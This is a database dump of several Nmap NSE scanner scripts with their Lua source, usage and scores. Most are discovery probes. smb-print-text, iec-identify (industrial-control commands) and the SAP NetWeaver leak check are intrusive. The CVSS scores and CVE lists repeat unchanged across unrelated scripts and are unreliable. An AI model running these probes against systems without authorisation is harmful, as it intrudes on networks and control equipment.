{"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-12-03T09:18:58", "type": "nmap", "title": "vuze-dht-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-11T04:37:48", "id": "NMAP:VUZE-DHT-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/vuze-dht-info.html", "sourceData": "local nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\nlocal vuzedht = stdnse.silent_require \"vuzedht\"\n\ndescription = [[\nRetrieves some basic information, including protocol version from a Vuze filesharing node.\n\nAs Vuze doesn't have a default port for its DHT service, this script has\nsome difficulties in determining when to run. Most scripts are triggered by\neither a default port or a fingerprinted service. To get around this, there\nare two options:\n1. Always run a version scan, to identify the vuze-dht service in order to\n trigger the script.\n2. Force the script to run against each port by setting the argument\n vuze-dht-info.allports\n]]\n\n---\n-- @usage\n-- nmap -sU -p <port> <ip> --script vuze-dht-info -sV\n--\n-- @output\n-- PORT STATE SERVICE VERSION\n-- 17555/udp open vuze-dht Vuze\n-- | vuze-dht-info:\n-- | Transaction id: 9438865\n-- | Connection id: 0xFF79A77B4592BDB0\n-- | Protocol version: 50\n-- | Vendor id: Azureus (0)\n-- | Network id: Stable (0)\n-- |_ Instance id: 2260473691\n--\n-- @args vuze-dht-info.allports if set runs this script against every open port\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = function(host, port)\n local allports = stdnse.get_script_args('vuze-dht-info.allports')\n if ( tonumber(allports) == 1 or allports == 'true' ) then\n return true\n else\n local f = shortport.port_or_service({17555, 49160, 49161, 49162}, \"vuze-dht\", \"udp\", {\"open\", \"open|filtered\"})\n return f(host, port)\n end\nend\n\nlocal function getDHTInfo(host, port, lhost)\n\n local helper = vuzedht.Helper:new(host, port, lhost)\n local status = helper:connect()\n\n if ( not(status) ) then\n return false, \"Failed to connect to server\"\n end\n\n local response\n status, response = helper:ping()\n if ( not(status) ) then\n return false, \"Failed to ping vuze node\"\n end\n helper:close()\n\n return true, response\nend\n\naction = function(host, port)\n\n local status, response = getDHTInfo(host, port)\n if not status then\n return stdnse.format_output(false, response)\n end\n\n -- check whether we have an error due to an incorrect address\n -- ie. we're on a NAT:ed network and we're announcing our private ip\n if ( status and response.header.action == vuzedht.Response.Actions.ERROR ) then\n status, response = getDHTInfo(host, port, response.addr.ip)\n end\n\n if ( status ) then\n nmap.set_port_state(host, port, \"open\")\n return tostring(response)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:35:19", "description": "Attempts to print text on a shared printer by calling Print Spooler Service RPC functions. \n\nIn order to use the script, at least one printer needs to be shared over SMB. If no printer is specified, script tries to enumerate existing ones by calling LANMAN API which might not be always available. LANMAN is available by default on Windows XP, but not on Vista or Windows 7 for example. In that case, you need to specify printer share name manually using `printer` script argument. You can find out available shares by using smb-enum-shares script. \n\nLater versions of Windows require valid credentials by default which you can specify trough smb library arguments `smbuser` and `smbpassword` or other options.\n\n## Script Arguments \n\n#### text \n\nText to print. Either text or filename need to be specified.\n\n#### filename \n\nFile to read text from (ASCII only).\n\n#### printer \n\nPrinter share name. Optional, by default script tries to enumerate available printer shares.\n\n#### randomseed, smbbasic, smbport, smbsign \n\nSee the documentation for the [smb](<../lib/smb.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 445 <target> --script=smb-print-text --script-args=\"text=0wn3d\"\n \n\n## Script Output \n \n \n |_smb-print-text: Printer job started using MyPrinter printer share.\n \n\n## Requires \n\n * [io](<>)\n * [msrpc](<../lib/msrpc.html>)\n * [smb](<../lib/smb.html>)\n * [string](<>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-08-04T18:44:59", "type": "nmap", "title": "smb-print-text NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-06T14:20:33", "id": "NMAP:SMB-PRINT-TEXT.NSE", "href": "https://nmap.org/nsedoc/scripts/smb-print-text.html", "sourceData": "local io = require \"io\"\nlocal msrpc = require \"msrpc\"\nlocal smb = require \"smb\"\nlocal string = require \"string\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nAttempts to print text on a shared printer by calling Print Spooler Service RPC functions.\n\nIn order to use the script, at least one printer needs to be shared\nover SMB. If no printer is specified, script tries to enumerate existing\nones by calling LANMAN API which might not be always available.\nLANMAN is available by default on Windows XP, but not on Vista or Windows 7\nfor example. In that case, you need to specify printer share name manually\nusing <code>printer</code> script argument. You can find out available shares\nby using smb-enum-shares script.\n\nLater versions of Windows require valid credentials by default\nwhich you can specify trough smb library arguments <code>smbuser</code> and\n<code>smbpassword</code> or other options.\n\n]]\n---\n-- @usage nmap -p 445 <target> --script=smb-print-text --script-args=\"text=0wn3d\"\n--\n-- @output\n-- |_smb-print-text: Printer job started using MyPrinter printer share.\n--\n-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.\n-- @args text Text to print. Either text or filename need to be specified.\n-- @args filename File to read text from (ASCII only).\n--\n\nauthor = \"Aleksandar Nikolic\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\"}\n\nhostrule = function(host)\n return smb.get_port(host) ~= nil\nend\n\naction = function(host,port)\n local status, smbstate\n local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')\n local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')\n if (not text) and (not filename) then\n stdnse.debug1(\"Script requires either text or filename script argument.\")\n return false\n end\n local text_to_print\n if text then\n text_to_print = text\n else\n -- read text from file\n local file = io.open(filename, \"rb\")\n text_to_print = file:read(\"a\")\n file:close()\n end\n status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)\n if(status == false) then\n stdnse.debug1(\"SMB: \" .. smbstate)\n return false, smbstate\n end\n\n local bind_result\n status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n stdnse.debug1(\"SMB: \" .. bind_result)\n return false, bind_result\n end\n local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')\n -- if printer not set find available printers\n if not printer then\n stdnse.debug1(\"No printer specified, trying to find one...\")\n local lanman_result\n local REMSmb_NetShareEnum_P = \"WrLeh\"\n local REMSmb_share_info_1 = \"B13BWz\"\n status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,string.pack(\"<I2I2\", 0x01, 65406))\n if status == false then\n stdnse.debug1(\"SMB: \" .. lanman_result)\n stdnse.debug1(\"SMB: Looks like LANMAN API is not available. Try setting printer script arg.\")\n return false\n end\n\n local parameters = lanman_result.parameters\n local data = lanman_result.data\n local status, convert, entry_count, available_entries = string.unpack(\"<I2 I2 I2 I2\", parameters)\n local pos = 1\n for i = 1, entry_count, 1 do\n local name, share_type = string.unpack(\">c14 I2\", data, pos)\n\n if share_type == 1 then -- share is printer\n name = string.unpack(\"z\", name)\n stdnse.debug1(\"Found printer share %s.\", name)\n printer = name\n break\n end\n pos = pos + 20\n end\n end\n if not printer then\n stdnse.debug1(\"No printer found, system may be unpatched but it needs at least one printer shared to be vulnerable.\")\n return false\n end\n stdnse.debug1(\"Using %s as printer.\",printer)\n -- call RpcOpenPrinterEx - opnum 69\n local status, result = msrpc.spoolss_open_printer(smbstate,\"\\\\\\\\\"..host.ip..\"\\\\\"..printer)\n if not status then\n return false\n end\n local printer_handle = string.sub(result.data,25,#result.data-4)\n stdnse.debug1(\"Printer handle %s\",stdnse.tohex(printer_handle))\n -- call RpcStartDocPrinter - opnum 17\n status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,\"nmap_print_test.txt\") -- patched version will allow this\n if not status then\n return false\n end\n local print_job_id = string.sub(result.data,25,#result.data-4)\n stdnse.debug1(\"Start doc printer job id %s\",stdnse.tohex(print_job_id))\n\n -- call RpcWritePrinter - 19\n status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)\n if not status then\n return false\n end\n local write_result = string.sub(result.data,25,#result.data-4)\n stdnse.debug1(\"Written %s bytes to a file.\",stdnse.tohex(write_result))\n\n status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)\n\n return string.format(\"Printer job started using <%s> printer share.\", printer)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:44:12", "description": "Gets the date from HTTP-like services. Also prints how much the date differs from local time. Local time is the time the HTTP request was sent, so the difference includes at least the duration of one RTT.\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV --script=http-date <target>\n\n## Script Output \n \n \n 80/tcp open http\n |_http-date: Thu, 02 Aug 2012 22:11:03 GMT; 0s from local time.\n 80/tcp open http\n |_http-date: Thu, 02 Aug 2012 22:07:12 GMT; -3m51s from local time.\n \n\n## Requires \n\n * [datetime](<../lib/datetime.html>)\n * [http](<../lib/http.html>)\n * [os](<>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [datetime](<../lib/datetime.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2009-07-13T22:03:02", "type": "nmap", "title": "http-date NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-08-27T22:00:10", "id": "NMAP:HTTP-DATE.NSE", "href": "https://nmap.org/nsedoc/scripts/http-date.html", "sourceData": "local datetime = require \"datetime\"\nlocal http = require \"http\"\nlocal os = require \"os\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal datetime = require \"datetime\"\n\ndescription = [[\nGets the date from HTTP-like services. Also prints how much the date\ndiffers from local time. Local time is the time the HTTP request was\nsent, so the difference includes at least the duration of one RTT.\n]]\n\n---\n-- @output\n-- 80/tcp open http\n-- |_http-date: Thu, 02 Aug 2012 22:11:03 GMT; 0s from local time.\n-- 80/tcp open http\n-- |_http-date: Thu, 02 Aug 2012 22:07:12 GMT; -3m51s from local time.\n--\n-- @xmloutput\n-- <elem key=\"date\">2012-08-02T23:07:12+00:00</elem>\n-- <elem key=\"delta\">-231</elem>\n\nauthor = \"David Fifield\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.http\n\naction = function(host, port)\n local response = http.get(host, port, \"/\")\n local request_time = os.time()\n if not response.status or not response.header[\"date\"] then\n return\n end\n\n local response_date = http.parse_date(response.header[\"date\"])\n if not response_date then\n return\n end\n local response_time = datetime.date_to_timestamp(response_date)\n\n local output_tab = stdnse.output_table()\n output_tab.date = datetime.format_timestamp(response_time, 0)\n output_tab.delta = os.difftime(response_time, request_time)\n\n datetime.record_skew(host, response_time, request_time)\n\n local output_str = string.format(\"%s; %s from local time.\",\n response.header[\"date\"], datetime.format_difftime(os.date(\"!*t\", response_time), os.date(\"!*t\", request_time)))\n\n return output_tab, output_str\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:41:56", "description": "Attempts to identify IEC 60870-5-104 ICS protocol. \n\nAfter probing with a TESTFR (test frame) message, a STARTDT (start data transfer) message is sent and general interrogation is used to gather the list of information object addresses stored.\n\n## Example Usage \n \n \n nmap -sV --script=iec-identify <target>\n\n## Script Output \n \n \n | iec-identify:\n | ASDU address: 105\n |_ Information objects: 30\n \n\n## Requires \n\n * [shortport](<../lib/shortport.html>)\n * [comm](<../lib/comm.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [match](<../lib/match.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-07-06T20:54:04", "type": "nmap", "title": "iec-identify NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-07-06T20:54:04", "id": "NMAP:IEC-IDENTIFY.NSE", "href": "https://nmap.org/nsedoc/scripts/iec-identify.html", "sourceData": "local shortport = require \"shortport\"\nlocal comm = require \"comm\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal match = require \"match\"\n\ndescription = [[\nAttempts to identify IEC 60870-5-104 ICS protocol.\n\nAfter probing with a TESTFR (test frame) message, a STARTDT (start data\ntransfer) message is sent and general interrogation is used to gather the list\nof information object addresses stored.\n]]\n\n---\n-- @output\n-- | iec-identify:\n-- | ASDU address: 105\n-- |_ Information objects: 30\n--\n\nauthor = {\"Aleksandr Timorin\", \"Daniel Miller\"}\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"intrusive\"}\n\nportrule = shortport.port_or_service(2404, \"iec-104\", \"tcp\")\n\nlocal function get_asdu(socket)\n local status, data = socket:receive_buf(match.numbytes(2), true)\n if not status then\n return nil, data\n end\n if data:byte(1) ~= 0x68 then\n return nil, \"Not IEC-104\"\n end\n local len = data:byte(2)\n status, data = socket:receive_buf(match.numbytes(len), true)\n if not status then\n return nil, data\n end\n local apcitype = data:byte(1)\n return apcitype, data\nend\n\naction = function(host, port)\n\n local output = stdnse.output_table()\n local socket, err = comm.opencon(host, port)\n if not socket then\n stdnse.debug1(\"Connect error: %s\", err)\n return nil\n end\n\n -- send TESTFR ACT command\n -- Test frame, like \"ping\"\n local TESTFR = \"\\x68\\x04\\x43\\0\\0\\0\"\n local status, err = socket:send( TESTFR )\n if not status then\n stdnse.debug1(\"Failed to send: %s\", err)\n return nil\n end\n\n -- receive TESTFR answer\n local apcitype, recv = get_asdu(socket)\n if not apcitype then\n stdnse.debug1(\"protocol error: %s\", recv)\n return nil\n end\n if apcitype ~= 0x83 then\n stdnse.print_debug(1, \"Not IEC-104. TESTFR response: %#x\", apcitype)\n return nil\n end\n\n -- send STARTDT ACT command\n local STARTDT = \"\\x68\\x04\\x07\\0\\0\\0\"\n status, err = socket:send( STARTDT )\n if not status then\n stdnse.debug1(\"Failed to send: %s\", err)\n return nil\n end\n\n -- receive STARTDT answer\n apcitype, recv = get_asdu(socket)\n if not apcitype then\n stdnse.debug1(\"protocol error: %s\", recv)\n return nil\n end\n if apcitype ~= 0x0b then\n stdnse.debug1(\"STARTDT ACT did not receive STARTDT CON: %#x\", apcitype)\n return nil\n end\n\n -- May also receive ME_EI_NA_1 (End of initialization), so check for that in the buffer after sending the next part\n\n -- send C_IC_NA_1 command\n -- type: 0x64, C_IC_NA_1,\n -- numix: 1\n -- TNCause: 6, Act\n -- Originator address; 0\n -- ASDU address: 0xffff\n -- Information object address: 0\n -- QOI: 0x14 (20), Station interrogation (global)\n local C_IC_NA_1_broadcast = \"\\x68\\x0e\\0\\0\\0\\0\\x64\\x01\\x06\\0\\xff\\xff\\0\\0\\0\\x14\"\n status, err = socket:send( C_IC_NA_1_broadcast )\n if not status then\n stdnse.debug1(\"Failed to send: %s\", err)\n return nil\n end\n\n local asdu_address\n local ioas = 0\n -- Have to draw the line somewhere.\n local limit = 10\n while limit > 0 do\n limit = limit - 1\n apcitype, recv = get_asdu(socket)\n if not apcitype then\n stdnse.debug1(\"Error in C_IC_NA_1: %s\", recv)\n break\n end\n if apcitype & 0x01 == 0 then -- Type I, numbered information transfer\n -- skip 2 bytes Tx, 2 bytes Rx\n local typeid = recv:byte(5)\n if typeid == 70 then\n -- ME_EI_NA_1, End of Initialization. Skip.\n else\n local numix = recv:byte(6) & 0x7f\n local cause = recv:byte(7) & 0x3f\n asdu_address = string.unpack(\"<I2\", recv, 9)\n stdnse.debug2(\"Got asdu=%d, type %d, cause %d, numix %d.\", asdu_address, typeid, cause, numix)\n if typeid == 100 then\n -- C_IC_NA_1\n if cause == 7 then\n -- ActCon. Skip.\n elseif cause == 10 then\n -- ActTerm. The end!\n break\n else\n -- TODO: do something!\n end\n else\n if cause >= 20 and cause <= 36 then\n -- Inrogen, response to general interrogation\n ioas = ioas + numix\n end\n end\n end\n end\n end\n\n socket:close()\n\n if asdu_address then\n output[\"ASDU address\"] = asdu_address\n output[\"Information objects\"] = ioas\n else\n output = \"IEC-104 endpoint did not respond to C_IC_NA_1 request\"\n end\n\n return output\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:42:58", "description": "Detects SAP Netweaver Portal instances that allow anonymous access to the KM unit navigation page. This page leaks file names, ldap users, etc. \n\nSAP Netweaver Portal with the Knowledge Management Unit enable allows unauthenticated users to list file system directories through the URL '/irj/go/km/navigation?Uri=/'. \n\nThis issue has been reported and won't be fixed. \n\nReferences: \n\n * <https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm>\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### vulns.short, vulns.showall \n\nSee the documentation for the [vulns](<../lib/vulns.html#script-args>) library. \n\n## Example Usage \n\n * nmap -p 80 --script http-sap-netweaver-leak <target>\n\n * nmap -sV --script http-sap-netweaver-leak <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 443/tcp open https syn-ack\n | http-sap-netweaver-leak:\n | VULNERABLE:\n | Anonymous access to SAP Netweaver Portal\n | State: VULNERABLE (Exploitable)\n | SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information\n | including file system structure, LDAP users, emails and other information.\n |\n | Disclosure date: 2018-02-1\n | Check results:\n | Visit /irj/go/km/navigation?Uri=/ to access this SAP instance.\n | Extra information:\n | ~system\n | discussiongroups\n | documents\n | Entry Points\n | etc\n | Reporting\n | References:\n |_ https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm\n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [vulns](<../lib/vulns.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-10-19T05:00:46", "type": "nmap", "title": "http-sap-netweaver-leak NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-11-08T20:35:14", "id": "NMAP:HTTP-SAP-NETWEAVER-LEAK.NSE", "href": "https://nmap.org/nsedoc/scripts/http-sap-netweaver-leak.html", "sourceData": "local http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal vulns = require \"vulns\"\nlocal table = require \"table\"\n\ndescription = [[\nDetects SAP Netweaver Portal instances that allow anonymous access to the\n KM unit navigation page. This page leaks file names, ldap users, etc.\n\nSAP Netweaver Portal with the Knowledge Management Unit enable allows unauthenticated\nusers to list file system directories through the URL '/irj/go/km/navigation?Uri=/'.\n\nThis issue has been reported and won't be fixed.\n\nReferences:\n* https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm\n]]\n\n---\n-- @usage nmap -p 80 --script http-sap-netweaver-leak <target>\n-- @usage nmap -sV --script http-sap-netweaver-leak <target>\n--\n-- @output \n-- PORT STATE SERVICE REASON\n-- 443/tcp open https syn-ack\n-- | http-sap-netweaver-leak:\n-- | VULNERABLE:\n-- | Anonymous access to SAP Netweaver Portal\n-- | State: VULNERABLE (Exploitable)\n-- | SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information\n-- | including file system structure, LDAP users, emails and other information.\n-- |\n-- | Disclosure date: 2018-02-1\n-- | Check results:\n-- | Visit /irj/go/km/navigation?Uri=/ to access this SAP instance.\n-- | Extra information:\n-- | ~system\n-- | discussiongroups\n-- | documents\n-- | Entry Points\n-- | etc\n-- | Reporting\n-- | References:\n-- |_ https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm\n--\n-- @xmloutput\n-- <table key=\"NMAP-1\">\n-- <elem key=\"title\">Anonymous access to SAP Netweaver Portal</elem>\n-- <elem key=\"state\">VULNERABLE (Exploitable)</elem>\n-- <table key=\"description\">\n-- <el em>SAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information
\n-- including file system structure, LDAP users, emails and other information.
</elem>\n-- </table>\n-- <table key=\"dates\">\n-- <table key=\"disclosure\">\n-- <elem key=\"day\">1</elem>\n-- <elem key=\"year\">2018</elem>\n-- <elem key=\"month\">02</elem>\n-- </table>\n-- </table>\n-- <elem key=\"disclosure\">2018-02-1</elem>\n-- <table key=\"check_results\">\n-- <elem>Visit /irj/go/km/navigation?Uri=/ to access this SAP instance.</elem>\n-- </table>\n-- <table key=\"extra_info\">\n-- <elem>&#x7e;system</elem>\n-- </table>\n-- <table key=\"refs\">\n-- <elem>https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm</elem>\n-- </table>\n-- </table>\n-- </script>\n---\n\nauthor = \"Francisco Leon <@arphanetx>\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\", \"discovery\"}\n\nlocal evil_path = \"/irj/go/km/navigation?Uri=/\"\n\nportrule = shortport.http\n\naction = function(host, port)\n local vuln = {\n title = 'Anonymous access to SAP Netweaver Portal',\n state = vulns.STATE.NOT_VULN,\n description = [[\nSAP Netweaver Portal with the Knowledge Management Unit allows attackers to obtain system information\nincluding file system structure, LDAP users, emails and other information.\n ]],\n references = {\n 'https://help.sap.com/saphelp_nw73ehp1/helpdata/en/4a/5c004250995a6ae10000000a42189b/frameset.htm',\n },\n dates = {\n disclosure = {year = '2018', month = '02', day = '1'},\n },\n }\n\n local status_404, result_404, _= http.identify_404(host,port)\n if (status_404 and result_404 == 200 ) then\n stdnse.debug1(\"Exiting due to ambiguous response from web server on %s%:s.All URIs return status 200\", host.ip, port.number)\n return nil\n end\n\n local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)\n\n local output_table = stdnse.output_table()\n local options = {header={}, no_cache=true, bypass_cache=true}\n\n --We need a valid User Agent for SAP Netweaver Portal servers\n options['header']['User-Agent'] = \"Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1;\"\n ..\".NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0\"\n\n local response = http.get(host, port, evil_path, options)\n if response and response.status == 200 then\n if string.find(response.body,'logon') then\n stdnse.debug1(\"String 'logon' was found in this page. Exiting.\")\n return vuln_report:make_output(vuln)\n else\n local files = {}\n for file in string.gmatch(response.body, \"[Cc][Ll][Aa][Ss][Ss][=][\\\"]urTxtStd[\\\"]>([^$<]*.)</[Ss][Pp][Aa][Nn]>\") do\n table.insert(files, file)\n end\n if #files>0 then\n vuln.state = vulns.STATE.EXPLOIT\n\tvuln.extra_info = files\n\tvuln.check_results = string.format(\"Visit %s to obtain more information about the files.\", evil_path)\n end\n return vuln_report:make_output(vuln)\n end\n else\n stdnse.debug1(\"SAP Netweaver Portal not found.\")\n return vuln_report:make_output(vuln)\n end\n \nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:38:51", "description": "Detects the version of an Oracle Virtual Server Agent by fingerprinting responses to an HTTP GET request and an XML-RPC method call. \n\nVersion 2.2 of Virtual Server Agent returns a distinctive string in response to an HTTP GET request. However versions 3.0 and 3.0.1 return a generic response that looks like any other BaseHTTP/SimpleXMLRPCServer. Versions 2.2 and 3.0 return a distinctive error message in response to a `system.listMethods` XML-RPC call, which however does not distinguish the two versions. Version 3.0.1 returns a response to `system.listMethods` that is different from that of both version 2.2 and 3.0. Therefore we use this strategy: (1.) Send a GET request. If the version 